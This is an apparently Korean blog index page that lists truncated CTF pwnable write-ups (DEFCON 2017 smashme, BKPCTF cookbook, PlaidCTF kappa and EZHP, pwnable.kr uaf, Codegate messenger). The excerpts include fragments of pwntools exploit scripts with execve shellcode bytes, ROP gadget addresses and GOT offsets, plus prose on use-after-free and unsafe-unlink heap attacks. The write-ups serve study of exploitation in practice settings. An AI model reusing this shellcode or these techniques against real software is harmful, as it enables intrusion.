Pwnable
-
DEFCON 2017 smashmePwnable/CTF 2017. 5. 2. 23:16
123456789101112131415161718192021222324252627282930p=remote("192.168.146.133",9001)elf=ELF("./smashme") read_plt=elf.symbols["read"]bss=elf.bss()+0x20 shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" shell_rsi=0x004015f7shell_rdi=0x004014d6shell_rdx=0x00441e46 filt="Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..
-
BKPCTF cookbookPwnable/CTF 2017. 3. 31. 07:59
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101from pwn import *p=remote("localhost",9001) def Quit(): p.recvuntil('[q]uit\n') free_got=0x804D018printf_got=0x804d010__libc_start_main_got=0x804D03Cprint p.recvuntil('name?\n')p.sendline("/bin/sh\00") d..
-
PlaidCTF 2014 kappaPwnable/CTF 2017. 3. 14. 18:38
바이너리를 실행시키면 이런식으로 포켓몬 관련 메뉴가 나온다. 일단 이 문제에서는 분석하는게 제일 힘들었다 .. 구조체로 나오는 문제를 별로보질못해서 .. 더 힘든문제였다. 이 부분은 첫 번쨰 메뉴를 선택하고 함수호출 을 또한번 하는데 그쪽부분이다. 보면 TYPE가 두 개로있는데 한가지는 BUF 가 0x214 또 다른 한가지는 0x888부분이다. 그리고 아래 사진과 위 사진을 함께보면 구조체 형태를 알 수 있다. buf + 132 부분을 보면 함수를 호출하는 구조체 배열인데 저 부분을 system 함수로 바꿀 수 있는 시나리오같다. 저 HEX-RAY한 곳데로 + 544 ... , + 310 ... 으로 보면안되고, 저 부분을 그냥 어셈블리로 보면 0X880 등등 으로 보인다. 엄청 큰 수를 보니 딱 봐도 ..
-
-
pwnable.kr uafPwnable/Pwnable.kr 2017. 3. 11. 14:20
위쪽 rbp - 0x38 부분인 m 객체를 잘 보면된다. m 객체부분이 시작되는 +265 부터 브포를 갈거 한줄한줄 rax 값을 보기로 하였다. 보니깐 give_shell 부분이 있다 !그리고 그 아래에서 rax + 0x8 를 한다. introduce 부분이다. 우리는 이 부분에서 rax + 0x8를 한 부분을 호출하는것을 알 수 있다. 브포를 걸고 확인해보자 (QWER 파일에는 AAAA를 적음) 우리가 입력한 QWER("AAAA")가 재활용되면서(UAF)가 일어날것이다.그리고 이렇게 AAAA가 입력한상태로 간다면 AAAA + 0x8 를 한 AAB2를 call 할것이다. 그럼 우리는 입력한 값 + 0x8를 했을때 give_shell 함수가 되게끔 해야된다. = 0x401568 FLAG_GET !!!!!!..
-
PlaidCTF 2014 EZHPPwnable/CTF 2017. 3. 10. 17:29
문제 푸는방식은 unsafe_unlink 방법으로 풀 수 있고, 문제 메뉴 자체는 Codegate 2017 messenger 문제랑 똑같고 이런 메뉴를 선택하고 그런 문제에서는 수정하는 부분이 오버플로우 취약점이 있고, 출력하는 부분에서 메모리 릭 취약점이있다. ADD, REMOVE 는 커스텀 MALLOC, 커스텀 FREE 로 되어있고, 위의 사진이 오버플로우 취약점이 있는 수정하는 부분이다.보면 SIZE를 입력받는데 SIZE 제한을 두지않아 취약점이 생긴다. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566from pwn import..
-
codegate 2017 messengerPwnable/CTF 2017. 3. 8. 21:06
(풀이를 엄청 봣다 ..)멋있는 시작화면이 나온다. 이렇게 메뉴를 선택해서 나오는 문제를 보면 공통점이 딱 하나 있다. 그 공통점은 수정하는 부분에서 오버플로우가 일어난다는 점과 출력하는 부분에서 메모리 릭 취약점이 있다는 것 이다. 아이다를 보면 LEAVE REMOVE 등 다 이름을 착하게 정해주었다. 감동 ..보면 직접적으로 MALLOC() 이런게 없다 그러니 여기서는 커스텀 MALLOC를 사용한다는 것을 알수있다. 이 Leave를 분석해보면 별거없다. 딱 하나 특징이 있다면 FREE를 안해도 FD와 BK가 있다는 점 밖에없다. REMOVE(free) 를 하는부분을 보면 REMOVE도 커스텀 FREE 함수를 쓴다. 커스텀 FREE 부분을보면 Unlink를 하는것을 볼 수 있다. FD + 16 = BK..